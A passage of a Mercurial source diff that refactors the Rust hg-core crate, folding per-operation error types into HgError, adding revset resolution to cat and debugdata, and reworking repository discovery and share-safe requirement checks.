file.sync_all().with_context(context) + } +} + +#[test] +fn test_rotation() { + let temp = tempfile::tempdir().unwrap(); + let vfs = Vfs { base: temp.path() }; + let logger = LogFile::new(vfs, "log").max_size(Some(3)).max_files(2); + logger.write(b"one\n").unwrap(); + logger.write(b"two\n").unwrap(); + logger.write(b"3\n").unwrap(); + logger.write(b"four\n").unwrap(); + logger.write(b"five\n").unwrap(); + assert_eq!(vfs.read("log").unwrap(), b"five\n"); + assert_eq!(vfs.read("log.1").unwrap(), b"3\nfour\n"); + assert_eq!(vfs.read("log.2").unwrap(), b"two\n"); + assert!(vfs.read("log.3").io_not_found_as_none().unwrap().is_none()); +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/cat.rs --- a/rust/hg-core/src/operations/cat.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/operations/cat.rs Tue Apr 20 11:01:06 2021 -0400 @@ -5,7 +5,6 @@ // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. -use std::convert::From; use std::path::PathBuf; use crate::repo::Repo; @@ -15,99 +14,59 @@ use crate::revlog::revlog::Revlog; use crate::revlog::revlog::RevlogError; use crate::revlog::Node; -use crate::revlog::NodePrefix; -use crate::revlog::Revision; use crate::utils::files::get_path_from_bytes; use crate::utils::hg_path::{HgPath, HgPathBuf}; +pub struct CatOutput { + /// Whether any file in the manifest matched the paths given as CLI + /// arguments + pub found_any: bool, + /// The contents of matching files, in manifest order + pub concatenated: Vec, + /// Which of the CLI arguments did not match any manifest file + pub missing: Vec, + /// The node ID that the given revset was resolved to + pub node: Node, +} + const METADATA_DELIMITER: [u8; 2] = [b'\x01', b'\n']; -/// Kind of error encountered by `CatRev` -#[derive(Debug)] -pub enum CatRevErrorKind { - /// Error when reading a `revlog` file. - IoError(std::io::Error), - /// The revision has not been found. - InvalidRevision, - /// Found more than one revision whose ID match the requested prefix - AmbiguousPrefix, - /// A `revlog` file is corrupted. - CorruptedRevlog, - /// The `revlog` format version is not supported. - UnsuportedRevlogVersion(u16), - /// The `revlog` data format is not supported. - UnknowRevlogDataFormat(u8), -} - -/// A `CatRev` error -#[derive(Debug)] -pub struct CatRevError { - /// Kind of error encountered by `CatRev` - pub kind: CatRevErrorKind, -} - -impl From for CatRevError { - fn from(kind: CatRevErrorKind) -> Self { - CatRevError { kind } - } -} - -impl From for CatRevError { - fn from(err: RevlogError) -> Self { - match err { - RevlogError::IoError(err) => CatRevErrorKind::IoError(err), - RevlogError::UnsuportedVersion(version) => { - CatRevErrorKind::UnsuportedRevlogVersion(version) - } - RevlogError::InvalidRevision => CatRevErrorKind::InvalidRevision, - RevlogError::AmbiguousPrefix => CatRevErrorKind::AmbiguousPrefix, - RevlogError::Corrupted => CatRevErrorKind::CorruptedRevlog, - RevlogError::UnknowDataFormat(format) => { - CatRevErrorKind::UnknowRevlogDataFormat(format) - } - } - .into() - } -} - -/// List files under Mercurial control at a given revision. +/// Output the given revision of files /// /// * `root`: Repository root /// * `rev`: The revision to cat the files from. /// * `files`: The files to output. -pub fn cat( +pub fn cat<'a>( repo: &Repo, - rev: &str, - files: &[HgPathBuf], -) -> Result, CatRevError> { + revset: &str, + files: &'a [HgPathBuf], +) -> Result { + let rev = crate::revset::resolve_single(revset, repo)?; let changelog = Changelog::open(repo)?; let manifest = Manifest::open(repo)?; - - let changelog_entry = match rev.parse::() { - Ok(rev) => changelog.get_rev(rev)?, - _ => { - let changelog_node = NodePrefix::from_hex(&rev) - .map_err(|_| CatRevErrorKind::InvalidRevision)?; - changelog.get_node(changelog_node.borrow())? - } - }; - let manifest_node = Node::from_hex(&changelog_entry.manifest_node()?) - .map_err(|_| CatRevErrorKind::CorruptedRevlog)?; - - let manifest_entry = manifest.get_node((&manifest_node).into())?; + let changelog_entry = changelog.get_rev(rev)?; + let node = *changelog + .node_from_rev(rev) + .expect("should succeed when changelog.get_rev did"); + let manifest_node = + Node::from_hex_for_repo(&changelog_entry.manifest_node()?)?; + let manifest_entry = manifest.get_node(manifest_node.into())?; let mut bytes = vec![]; + let mut matched = vec![false; files.len()]; + let mut found_any = false; for (manifest_file, node_bytes) in manifest_entry.files_with_nodes() { - for cat_file in files.iter() { + for (cat_file, is_matched) in files.iter().zip(&mut matched) { if cat_file.as_bytes() == manifest_file.as_bytes() { + *is_matched = true; + found_any = true; let index_path = store_path(manifest_file, b".i"); let data_path = store_path(manifest_file, b".d"); let file_log = Revlog::open(repo, &index_path, Some(&data_path))?; - let file_node = Node::from_hex(node_bytes) - .map_err(|_| CatRevErrorKind::CorruptedRevlog)?; - let file_rev = file_log.get_node_rev((&file_node).into())?; + let file_node = Node::from_hex_for_repo(node_bytes)?; + let file_rev = file_log.get_node_rev(file_node.into())?; let data = file_log.get_rev_data(file_rev)?; if data.starts_with(&METADATA_DELIMITER) { let end_delimiter_position = data @@ -125,7 +84,18 @@ } } - Ok(bytes) + let missing: Vec<_> = files + .iter() + .zip(&matched) + .filter(|pair| !*pair.1) + .map(|pair| pair.0.clone()) + .collect(); + Ok(CatOutput { + found_any, + concatenated: bytes, + missing, + node, + }) } fn store_path(hg_path: &HgPath, suffix: &[u8]) -> PathBuf { diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/debugdata.rs --- a/rust/hg-core/src/operations/debugdata.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/operations/debugdata.rs Tue Apr 20 11:01:06 2021 -0400 @@ -7,8 +7,6 @@ use crate::repo::Repo; use crate::revlog::revlog::{Revlog, RevlogError}; -use crate::revlog::NodePrefix; -use crate::revlog::Revision; /// Kind of data to debug #[derive(Debug, Copy, Clone)] @@ -17,86 +15,19 @@ Manifest, } -/// Kind of error encountered by DebugData -#[derive(Debug)] -pub enum DebugDataErrorKind { - /// Error when reading a `revlog` file. - IoError(std::io::Error), - /// The revision has not been found. - InvalidRevision, - /// Found more than one revision whose ID match the requested prefix - AmbiguousPrefix, - /// A `revlog` file is corrupted. - CorruptedRevlog, - /// The `revlog` format version is not supported. - UnsuportedRevlogVersion(u16), - /// The `revlog` data format is not supported. - UnknowRevlogDataFormat(u8), -} - -/// A DebugData error -#[derive(Debug)] -pub struct DebugDataError { - /// Kind of error encountered by DebugData - pub kind: DebugDataErrorKind, -} - -impl From for DebugDataError { - fn from(kind: DebugDataErrorKind) -> Self { - DebugDataError { kind } - } -} - -impl From for DebugDataError { - fn from(err: std::io::Error) -> Self { - let kind = DebugDataErrorKind::IoError(err); - DebugDataError { kind } - } -} - -impl From for DebugDataError { - fn from(err: RevlogError) -> Self { - match err { - RevlogError::IoError(err) => DebugDataErrorKind::IoError(err), - RevlogError::UnsuportedVersion(version) => { - DebugDataErrorKind::UnsuportedRevlogVersion(version) - } - RevlogError::InvalidRevision => { - DebugDataErrorKind::InvalidRevision - } - RevlogError::AmbiguousPrefix => { - DebugDataErrorKind::AmbiguousPrefix - } - RevlogError::Corrupted => DebugDataErrorKind::CorruptedRevlog, - RevlogError::UnknowDataFormat(format) => { - DebugDataErrorKind::UnknowRevlogDataFormat(format) - } - } - .into() - } -} - /// Dump the contents data of a revision. pub fn debug_data( repo: &Repo, - rev: &str, + revset: &str, kind: DebugDataKind, -) -> Result, DebugDataError> { +) -> Result, RevlogError> { let index_file = match kind { DebugDataKind::Changelog => "00changelog.i", DebugDataKind::Manifest => "00manifest.i", }; let revlog = Revlog::open(repo, index_file, None)?; - - let data = match rev.parse::() { - Ok(rev) => revlog.get_rev_data(rev)?, - _ => { - let node = NodePrefix::from_hex(&rev) - .map_err(|_| DebugDataErrorKind::InvalidRevision)?; - let rev = revlog.get_node_rev(node.borrow())?; - revlog.get_rev_data(rev)? - } - }; - + let rev = + crate::revset::resolve_rev_number_or_hex_prefix(revset, &revlog)?; + let data = revlog.get_rev_data(rev)?; Ok(data) } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/dirstate_status.rs --- a/rust/hg-core/src/operations/dirstate_status.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/operations/dirstate_status.rs Tue Apr 20 11:01:06 2021 -0400 @@ -14,66 +14,6 @@ /// files. pub type LookupAndStatus<'a> = (Vec>, DirstateStatus<'a>); -#[cfg(feature = "dirstate-tree")] -impl<'a, M: Matcher + Sync> Status<'a, M> { - pub(crate) fn run(&self) -> Result, StatusError> { - let (traversed_sender, traversed_receiver) = - crossbeam_channel::unbounded(); - - // Step 1: check the files explicitly mentioned by the user - let (work, mut results) = self.walk_explicit(traversed_sender.clone()); - - // Step 2: Check files in the dirstate - if !self.matcher.is_exact() { - self.extend_from_dmap(&mut results); - } - // Step 3: Check the working directory if listing unknowns - if !work.is_empty() { - // Hashmaps are quite a bit slower to build than vecs, so only - // build it if needed. - let mut old_results = None; - - // Step 2: recursively check the working directory for changes if - // needed - for (dir, dispatch) in work { - match dispatch { - Dispatch::Directory { was_file } => { - if was_file { - results.push((dir.to_owned(), Dispatch::Removed)); - } - if self.options.list_ignored - || self.options.list_unknown - && !self.dir_ignore(&dir) - { - if old_results.is_none() { - old_results = - Some(results.iter().cloned().collect()); - } - self.traverse( - &dir, - old_results - .as_ref() - .expect("old results should exist"), - &mut results, - traversed_sender.clone(), - ); - } - } - _ => { - unreachable!("There can only be directories in `work`") - } - } - } - } - - drop(traversed_sender); - let traversed = traversed_receiver.into_iter().collect(); - - Ok(build_response(results, traversed)) - } -} - -#[cfg(not(feature = "dirstate-tree"))] impl<'a, M: Matcher + Sync> Status<'a, M> { pub(crate) fn run(&self) -> Result, StatusError> { let (traversed_sender, traversed_receiver) = diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/find_root.rs --- a/rust/hg-core/src/operations/find_root.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,100 +0,0 @@ -use std::fmt; -use std::path::{Path, PathBuf}; - -/// Kind of error encoutered by FindRoot -#[derive(Debug)] -pub enum FindRootErrorKind { - /// Root of the repository has not been found - /// Contains the current directory used by FindRoot - RootNotFound(PathBuf), - /// The current directory does not exists or permissions are insufficient - /// to get access to it - GetCurrentDirError(std::io::Error), -} - -/// A FindRoot error -#[derive(Debug)] -pub struct FindRootError { - /// Kind of error encoutered by FindRoot - pub kind: FindRootErrorKind, -} - -impl std::error::Error for FindRootError {} - -impl fmt::Display for FindRootError { - fn fmt(&self, _f: &mut fmt::Formatter<'_>) -> fmt::Result { - unimplemented!() - } -} - -/// Find the root of the repository -/// by searching for a .hg directory in the process’ current directory and its -/// ancestors -pub fn find_root() -> Result { - let current_dir = std::env::current_dir().map_err(|e| FindRootError { - kind: FindRootErrorKind::GetCurrentDirError(e), - })?; - Ok(find_root_from_path(¤t_dir)?.into()) -} - -/// Find the root of the repository -/// by searching for a .hg directory in the given directory and its ancestors -pub fn find_root_from_path(start: &Path) -> Result<&Path, FindRootError> { - if start.join(".hg").exists() { - return Ok(start); - } - for ancestor in start.ancestors() { - if ancestor.join(".hg").exists() { - return Ok(ancestor); - } - } - Err(FindRootError { - kind: FindRootErrorKind::RootNotFound(start.into()), - }) -} - -#[cfg(test)] -mod tests { - use super::*; - use std::fs; - use tempfile; - - #[test] - fn dot_hg_not_found() { - let tmp_dir = tempfile::tempdir().unwrap(); - let path = tmp_dir.path(); - - let err = find_root_from_path(&path).unwrap_err(); - - // TODO do something better - assert!(match err { - FindRootError { kind } => match kind { - FindRootErrorKind::RootNotFound(p) => p == path.to_path_buf(), - _ => false, - }, - }) - } - - #[test] - fn dot_hg_in_current_path() { - let tmp_dir = tempfile::tempdir().unwrap(); - let root = tmp_dir.path(); - fs::create_dir_all(root.join(".hg")).unwrap(); - - let result = find_root_from_path(&root).unwrap(); - - assert_eq!(result, root) - } - - #[test] - fn dot_hg_in_parent() { - let tmp_dir = tempfile::tempdir().unwrap(); - let root = tmp_dir.path(); - fs::create_dir_all(root.join(".hg")).unwrap(); - - let directory = root.join("some/nested/directory"); - let result = find_root_from_path(&directory).unwrap(); - - assert_eq!(result, root) - } -} /* tests */ diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/list_tracked_files.rs --- a/rust/hg-core/src/operations/list_tracked_files.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/operations/list_tracked_files.rs Tue Apr 20 11:01:06 2021 -0400 @@ -6,47 +6,15 @@ // GNU General Public License version 2 or any later version. use crate::dirstate::parsers::parse_dirstate; +use crate::errors::HgError; use crate::repo::Repo; use crate::revlog::changelog::Changelog; use crate::revlog::manifest::{Manifest, ManifestEntry}; -use crate::revlog::node::{Node, NodePrefix}; +use crate::revlog::node::Node; use crate::revlog::revlog::RevlogError; -use crate::revlog::Revision; use crate::utils::hg_path::HgPath; -use crate::{DirstateParseError, EntryState}; +use crate::EntryState; use rayon::prelude::*; -use std::convert::From; - -/// Kind of error encountered by `ListDirstateTrackedFiles` -#[derive(Debug)] -pub enum ListDirstateTrackedFilesErrorKind { - /// Error when reading the `dirstate` file - IoError(std::io::Error), - /// Error when parsing the `dirstate` file - ParseError(DirstateParseError), -} - -/// A `ListDirstateTrackedFiles` error -#[derive(Debug)] -pub struct ListDirstateTrackedFilesError { - /// Kind of error encountered by `ListDirstateTrackedFiles` - pub kind: ListDirstateTrackedFilesErrorKind, -} - -impl From - for ListDirstateTrackedFilesError -{ - fn from(kind: ListDirstateTrackedFilesErrorKind) -> Self { - ListDirstateTrackedFilesError { kind } - } -} - -impl From for ListDirstateTrackedFilesError { - fn from(err: std::io::Error) -> Self { - let kind = ListDirstateTrackedFilesErrorKind::IoError(err); - ListDirstateTrackedFilesError { kind } - } -} /// List files under Mercurial control in the working directory /// by reading the dirstate @@ -56,16 +24,13 @@ } impl Dirstate { - pub fn new(repo: &Repo) -> Result { + pub fn new(repo: &Repo) -> Result { let content = repo.hg_vfs().read("dirstate")?; Ok(Self { content }) } - pub fn tracked_files( - &self, - ) -> Result, ListDirstateTrackedFilesError> { - let (_, entries, _) = parse_dirstate(&self.content) - .map_err(ListDirstateTrackedFilesErrorKind::ParseError)?; + pub fn tracked_files(&self) -> Result, HgError> { + let (_, entries, _) = parse_dirstate(&self.content)?; let mut files: Vec<&HgPath> = entries .into_iter() .filter_map(|(path, entry)| match entry.state { @@ -78,81 +43,18 @@ } } -/// Kind of error encountered by `ListRevTrackedFiles` -#[derive(Debug)] -pub enum ListRevTrackedFilesErrorKind { - /// Error when reading a `revlog` file. - IoError(std::io::Error), - /// The revision has not been found. - InvalidRevision, - /// Found more than one revision whose ID match the requested prefix - AmbiguousPrefix, - /// A `revlog` file is corrupted. - CorruptedRevlog, - /// The `revlog` format version is not supported. - UnsuportedRevlogVersion(u16), - /// The `revlog` data format is not supported. - UnknowRevlogDataFormat(u8), -} - -/// A `ListRevTrackedFiles` error -#[derive(Debug)] -pub struct ListRevTrackedFilesError { - /// Kind of error encountered by `ListRevTrackedFiles` - pub kind: ListRevTrackedFilesErrorKind, -} - -impl From for ListRevTrackedFilesError { - fn from(kind: ListRevTrackedFilesErrorKind) -> Self { - ListRevTrackedFilesError { kind } - } -} - -impl From for ListRevTrackedFilesError { - fn from(err: RevlogError) -> Self { - match err { - RevlogError::IoError(err) => { - ListRevTrackedFilesErrorKind::IoError(err) - } - RevlogError::UnsuportedVersion(version) => { - ListRevTrackedFilesErrorKind::UnsuportedRevlogVersion(version) - } - RevlogError::InvalidRevision => { - ListRevTrackedFilesErrorKind::InvalidRevision - } - RevlogError::AmbiguousPrefix => { - ListRevTrackedFilesErrorKind::AmbiguousPrefix - } - RevlogError::Corrupted => { - ListRevTrackedFilesErrorKind::CorruptedRevlog - } - RevlogError::UnknowDataFormat(format) => { - ListRevTrackedFilesErrorKind::UnknowRevlogDataFormat(format) - } - } - .into() - } -} - /// List files under Mercurial control at a given revision. pub fn list_rev_tracked_files( repo: &Repo, - rev: &str, -) -> Result { + revset: &str, +) -> Result { + let rev = crate::revset::resolve_single(revset, repo)?; let changelog = Changelog::open(repo)?; let manifest = Manifest::open(repo)?; - - let changelog_entry = match rev.parse::() { - Ok(rev) => changelog.get_rev(rev)?, - _ => { - let changelog_node = NodePrefix::from_hex(&rev) - .or(Err(ListRevTrackedFilesErrorKind::InvalidRevision))?; - changelog.get_node(changelog_node.borrow())? - } - }; - let manifest_node = Node::from_hex(&changelog_entry.manifest_node()?) - .or(Err(ListRevTrackedFilesErrorKind::CorruptedRevlog))?; - let manifest_entry = manifest.get_node((&manifest_node).into())?; + let changelog_entry = changelog.get_rev(rev)?; + let manifest_node = + Node::from_hex_for_repo(&changelog_entry.manifest_node()?)?; + let manifest_entry = manifest.get_node(manifest_node.into())?; Ok(FilesForRev(manifest_entry)) } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/operations/mod.rs --- a/rust/hg-core/src/operations/mod.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/operations/mod.rs Tue Apr 20 11:01:06 2021 -0400 @@ -5,19 +5,8 @@ mod cat; mod debugdata; mod dirstate_status; -mod find_root; mod list_tracked_files; -pub use cat::{cat, CatRevError, CatRevErrorKind}; -pub use debugdata::{ - debug_data, DebugDataError, DebugDataErrorKind, DebugDataKind, -}; -pub use find_root::{ - find_root, find_root_from_path, FindRootError, FindRootErrorKind, -}; -pub use list_tracked_files::{ - list_rev_tracked_files, FilesForRev, ListRevTrackedFilesError, - ListRevTrackedFilesErrorKind, -}; -pub use list_tracked_files::{ - Dirstate, ListDirstateTrackedFilesError, ListDirstateTrackedFilesErrorKind, -}; +pub use cat::{cat, CatOutput}; +pub use debugdata::{debug_data, DebugDataKind}; +pub use list_tracked_files::Dirstate; +pub use list_tracked_files::{list_rev_tracked_files, FilesForRev}; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/repo.rs --- a/rust/hg-core/src/repo.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/repo.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,10 @@ -use crate::operations::{find_root, FindRootError}; +use crate::config::{Config, ConfigError, ConfigParseError}; +use crate::errors::{HgError, IoErrorContext, IoResultExt}; use crate::requirements; +use crate::utils::files::get_path_from_bytes; +use crate::utils::SliceExt; use memmap::{Mmap, MmapOptions}; +use std::collections::HashSet; use std::path::{Path, PathBuf}; /// A repository on disk @@ -8,85 +12,255 @@ working_directory: PathBuf, dot_hg: PathBuf, store: PathBuf, + requirements: HashSet, + config: Config, +} + +#[derive(Debug, derive_more::From)] +pub enum RepoError { + NotFound { + at: PathBuf, + }, + #[from] + ConfigParseError(ConfigParseError), + #[from] + Other(HgError), +} + +impl From for RepoError { + fn from(error: ConfigError) -> Self { + match error { + ConfigError::Parse(error) => error.into(), + ConfigError::Other(error) => error.into(), + } + } } /// Filesystem access abstraction for the contents of a given "base" diretory #[derive(Clone, Copy)] -pub(crate) struct Vfs<'a> { - base: &'a Path, +pub struct Vfs<'a> { + pub(crate) base: &'a Path, } impl Repo { - /// Returns `None` if the given path doesn’t look like a repository - /// (doesn’t contain a `.hg` sub-directory). - pub fn for_path(root: impl Into) -> Self { - let working_directory = root.into(); - let dot_hg = working_directory.join(".hg"); - Self { - store: dot_hg.join("store"), - dot_hg, - working_directory, + /// Find a repository, either at the given path (which must contain a `.hg` + /// sub-directory) or by searching the current directory and its + /// ancestors. + /// + /// A method with two very different "modes" like this usually a code smell + /// to make two methods instead, but in this case an `Option` is what rhg + /// sub-commands get from Clap for the `-R` / `--repository` CLI argument. + /// Having two methods would just move that `if` to almost all callers. + pub fn find( + config: &Config, + explicit_path: Option<&Path>, + ) -> Result { + if let Some(root) = explicit_path { + if root.join(".hg").is_dir() { + Self::new_at_path(root.to_owned(), config) + } else if root.is_file() { + Err(HgError::unsupported("bundle repository").into()) + } else { + Err(RepoError::NotFound { + at: root.to_owned(), + }) + } + } else { + let current_directory = crate::utils::current_dir()?; + // ancestors() is inclusive: it first yields `current_directory` + // as-is. + for ancestor in current_directory.ancestors() { + if ancestor.join(".hg").is_dir() { + return Self::new_at_path(ancestor.to_owned(), config); + } + } + Err(RepoError::NotFound { + at: current_directory, + }) } } - pub fn find() -> Result { - find_root().map(Self::for_path) - } + /// To be called after checking that `.hg` is a sub-directory + fn new_at_path( + working_directory: PathBuf, + config: &Config, + ) -> Result { + let dot_hg = working_directory.join(".hg"); + + let mut repo_config_files = Vec::new(); + repo_config_files.push(dot_hg.join("hgrc")); + repo_config_files.push(dot_hg.join("hgrc-not-shared")); + + let hg_vfs = Vfs { base: &dot_hg }; + let mut reqs = requirements::load_if_exists(hg_vfs)?; + let relative = + reqs.contains(requirements::RELATIVE_SHARED_REQUIREMENT); + let shared = + reqs.contains(requirements::SHARED_REQUIREMENT) || relative; + + // From `mercurial/localrepo.py`: + // + // if .hg/requires contains the sharesafe requirement, it means + // there exists a `.hg/store/requires` too and we should read it + // NOTE: presence of SHARESAFE_REQUIREMENT imply that store requirement + // is present. We never write SHARESAFE_REQUIREMENT for a repo if store + // is not present, refer checkrequirementscompat() for that + // + // However, if SHARESAFE_REQUIREMENT is not present, it means that the + // repository was shared the old way. We check the share source + // .hg/requires for SHARESAFE_REQUIREMENT to detect whether the + // current repository needs to be reshared + let share_safe = reqs.contains(requirements::SHARESAFE_REQUIREMENT); + + let store_path; + if !shared { + store_path = dot_hg.join("store"); + } else { + let bytes = hg_vfs.read("sharedpath")?; + let mut shared_path = + get_path_from_bytes(bytes.trim_end_newlines()).to_owned(); + if relative { + shared_path = dot_hg.join(shared_path) + } + if !shared_path.is_dir() { + return Err(HgError::corrupted(format!( + ".hg/sharedpath points to nonexistent directory {}", + shared_path.display() + )) + .into()); + } + + store_path = shared_path.join("store"); - pub fn check_requirements( - &self, - ) -> Result<(), requirements::RequirementsError> { - requirements::check(self) + let source_is_share_safe = + requirements::load(Vfs { base: &shared_path })? + .contains(requirements::SHARESAFE_REQUIREMENT); + + if share_safe && !source_is_share_safe { + return Err(match config + .get(b"share", b"safe-mismatch.source-not-safe") + { + Some(b"abort") | None => HgError::abort( + "abort: share source does not support share-safe requirement\n\ + (see `hg help config.format.use-share-safe` for more information)", + ), + _ => HgError::unsupported("share-safe downgrade"), + } + .into()); + } else if source_is_share_safe && !share_safe { + return Err( + match config.get(b"share", b"safe-mismatch.source-safe") { + Some(b"abort") | None => HgError::abort( + "abort: version mismatch: source uses share-safe \ + functionality while the current share does not\n\ + (see `hg help config.format.use-share-safe` for more information)", + ), + _ => HgError::unsupported("share-safe upgrade"), + } + .into(), + ); + } + + if share_safe { + repo_config_files.insert(0, shared_path.join("hgrc")) + } + } + if share_safe { + reqs.extend(requirements::load(Vfs { base: &store_path })?); + } + + let repo_config = if std::env::var_os("HGRCSKIPREPO").is_none() { + config.combine_with_repo(&repo_config_files)? + } else { + config.clone() + }; + + let repo = Self { + requirements: reqs, + working_directory, + store: store_path, + dot_hg, + config: repo_config, + }; + + requirements::check(&repo)?; + + Ok(repo) } pub fn working_directory_path(&self) -> &Path { &self.working_directory } + pub fn requirements(&self) -> &HashSet { + &self.requirements + } + + pub fn config(&self) -> &Config { + &self.config + } + /// For accessing repository files (in `.hg`), except for the store /// (`.hg/store`). - pub(crate) fn hg_vfs(&self) -> Vfs<'_> { + pub fn hg_vfs(&self) -> Vfs<'_> { Vfs { base: &self.dot_hg } } /// For accessing repository store files (in `.hg/store`) - pub(crate) fn store_vfs(&self) -> Vfs<'_> { + pub fn store_vfs(&self) -> Vfs<'_> { Vfs { base: &self.store } } /// For accessing the working copy - - // The undescore prefix silences the "never used" warning. Remove before - // using. - pub(crate) fn _working_directory_vfs(&self) -> Vfs<'_> { + pub fn working_directory_vfs(&self) -> Vfs<'_> { Vfs { base: &self.working_directory, } } + + pub fn dirstate_parents( + &self, + ) -> Result { + let dirstate = self.hg_vfs().mmap_open("dirstate")?; + let parents = + crate::dirstate::parsers::parse_dirstate_parents(&dirstate)?; + Ok(parents.clone()) + } } impl Vfs<'_> { - pub(crate) fn read( + pub fn join(&self, relative_path: impl AsRef) -> PathBuf { + self.base.join(relative_path) + } + + pub fn read( &self, relative_path: impl AsRef, - ) -> std::io::Result> { - std::fs::read(self.base.join(relative_path)) + ) -> Result, HgError> { + let path = self.join(relative_path); + std::fs::read(&path).when_reading_file(&path) } - pub(crate) fn open( + pub fn mmap_open( &self, relative_path: impl AsRef, - ) -> std::io::Result { - std::fs::File::open(self.base.join(relative_path)) + ) -> Result { + let path = self.base.join(relative_path); + let file = std::fs::File::open(&path).when_reading_file(&path)?; + // TODO: what are the safety requirements here? + let mmap = unsafe { MmapOptions::new().map(&file) } + .when_reading_file(&path)?; + Ok(mmap) } - pub(crate) fn mmap_open( + pub fn rename( &self, - relative_path: impl AsRef, - ) -> std::io::Result { - let file = self.open(relative_path)?; - // TODO: what are the safety requirements here? - let mmap = unsafe { MmapOptions::new().map(&file) }?; - Ok(mmap) + relative_from: impl AsRef, + relative_to: impl AsRef, + ) -> Result<(), HgError> { + let from = self.join(relative_from); + let to = self.join(relative_to); + std::fs::rename(&from, &to) + .with_context(|| IoErrorContext::RenamingFile { from, to }) } } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/requirements.rs --- a/rust/hg-core/src/requirements.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/requirements.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,19 +1,9 @@ -use crate::repo::Repo; -use std::io; +use crate::errors::{HgError, HgResultExt}; +use crate::repo::{Repo, Vfs}; +use crate::utils::join_display; +use std::collections::HashSet; -#[derive(Debug)] -pub enum RequirementsError { - // TODO: include a path? - Io(io::Error), - /// The `requires` file is corrupted - Corrupted, - /// The repository requires a feature that we don't support - Unsupported { - feature: String, - }, -} - -fn parse(bytes: &[u8]) -> Result, ()> { +fn parse(bytes: &[u8]) -> Result, HgError> { // The Python code reading this file uses `str.splitlines` // which looks for a number of line separators (even including a couple of // non-ASCII ones), but Python code writing it always uses `\n`. @@ -27,16 +17,20 @@ if line[0].is_ascii_alphanumeric() && line.is_ascii() { Ok(String::from_utf8(line.into()).unwrap()) } else { - Err(()) + Err(HgError::corrupted("parse error in 'requires' file")) } }) .collect() } -pub fn load(repo: &Repo) -> Result, RequirementsError> { - match repo.hg_vfs().read("requires") { - Ok(bytes) => parse(&bytes).map_err(|()| RequirementsError::Corrupted), +pub(crate) fn load(hg_vfs: Vfs) -> Result, HgError> { + parse(&hg_vfs.read("requires")?) +} +pub(crate) fn load_if_exists(hg_vfs: Vfs) -> Result, HgError> { + if let Some(bytes) = hg_vfs.read("requires").io_not_found_as_none()? { + parse(&bytes) + } else { // Treat a missing file the same as an empty file. // From `mercurial/localrepo.py`: // > requires file contains a newline-delimited list of @@ -44,33 +38,121 @@ // > the repository. This file was introduced in Mercurial 0.9.2, // > which means very old repositories may not have one. We assume // > a missing file translates to no requirements. - Err(error) if error.kind() == std::io::ErrorKind::NotFound => { - Ok(Vec::new()) - } - - Err(error) => Err(RequirementsError::Io(error))?, + Ok(HashSet::new()) } } -pub fn check(repo: &Repo) -> Result<(), RequirementsError> { - for feature in load(repo)? { - if !SUPPORTED.contains(&&*feature) { - return Err(RequirementsError::Unsupported { feature }); - } +pub(crate) fn check(repo: &Repo) -> Result<(), HgError> { + let unknown: Vec<_> = repo + .requirements() + .iter() + .map(String::as_str) + // .filter(|feature| !ALL_SUPPORTED.contains(feature.as_str())) + .filter(|feature| { + !REQUIRED.contains(feature) && !SUPPORTED.contains(feature) + }) + .collect(); + if !unknown.is_empty() { + return Err(HgError::unsupported(format!( + "repository requires feature unknown to this Mercurial: {}", + join_display(&unknown, ", ") + ))); + } + let missing: Vec<_> = REQUIRED + .iter() + .filter(|&&feature| !repo.requirements().contains(feature)) + .collect(); + if !missing.is_empty() { + return Err(HgError::unsupported(format!( + "repository is missing feature required by this Mercurial: {}", + join_display(&missing, ", ") + ))); } Ok(()) } -// TODO: set this to actually-supported features +/// rhg does not support repositories that are *missing* any of these features +const REQUIRED: &[&str] = &["revlogv1", "store", "fncache", "dotencode"]; + +/// rhg supports repository with or without these const SUPPORTED: &[&str] = &[ - "dotencode", - "fncache", "generaldelta", - "revlogv1", - "sparserevlog", - "store", + SHARED_REQUIREMENT, + SHARESAFE_REQUIREMENT, + SPARSEREVLOG_REQUIREMENT, + RELATIVE_SHARED_REQUIREMENT, + REVLOG_COMPRESSION_ZSTD, // As of this writing everything rhg does is read-only. // When it starts writing to the repository, it’ll need to either keep the // persistent nodemap up to date or remove this entry: - "persistent-nodemap", + NODEMAP_REQUIREMENT, ]; + +// Copied from mercurial/requirements.py: + +/// When narrowing is finalized and no longer subject to format changes, +/// we should move this to just "narrow" or similar. +#[allow(unused)] +pub(crate) const NARROW_REQUIREMENT: &str = "narrowhg-experimental"; + +/// Enables sparse working directory usage +#[allow(unused)] +pub(crate) const SPARSE_REQUIREMENT: &str = "exp-sparse"; + +/// Enables the internal phase which is used to hide changesets instead +/// of stripping them +#[allow(unused)] +pub(crate) const INTERNAL_PHASE_REQUIREMENT: &str = "internal-phase"; + +/// Stores manifest in Tree structure +#[allow(unused)] +pub(crate) const TREEMANIFEST_REQUIREMENT: &str = "treemanifest"; + +/// Increment the sub-version when the revlog v2 format changes to lock out old +/// clients. +#[allow(unused)] +pub(crate) const REVLOGV2_REQUIREMENT: &str = "exp-revlogv2.1"; + +/// A repository with the sparserevlog feature will have delta chains that +/// can spread over a larger span. Sparse reading cuts these large spans into +/// pieces, so that each piece isn't too big. +/// Without the sparserevlog capability, reading from the repository could use +/// huge amounts of memory, because the whole span would be read at once, +/// including all the intermediate revisions that aren't pertinent for the +/// chain. This is why once a repository has enabled sparse-read, it becomes +/// required. 